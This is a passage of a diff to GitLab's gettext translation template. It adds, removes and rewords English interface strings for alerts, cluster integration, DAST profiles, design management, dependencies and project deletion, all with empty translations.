msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1153,6 +1204,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1264,6 +1318,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1295,12 +1352,6 @@ msgstr[0] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1439,6 +1496,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -1959,6 +2025,9 @@ msgstr[0] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2388,6 +2457,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,13 +2754,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2703,12 +2790,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2787,6 +2880,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,13 +3912,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
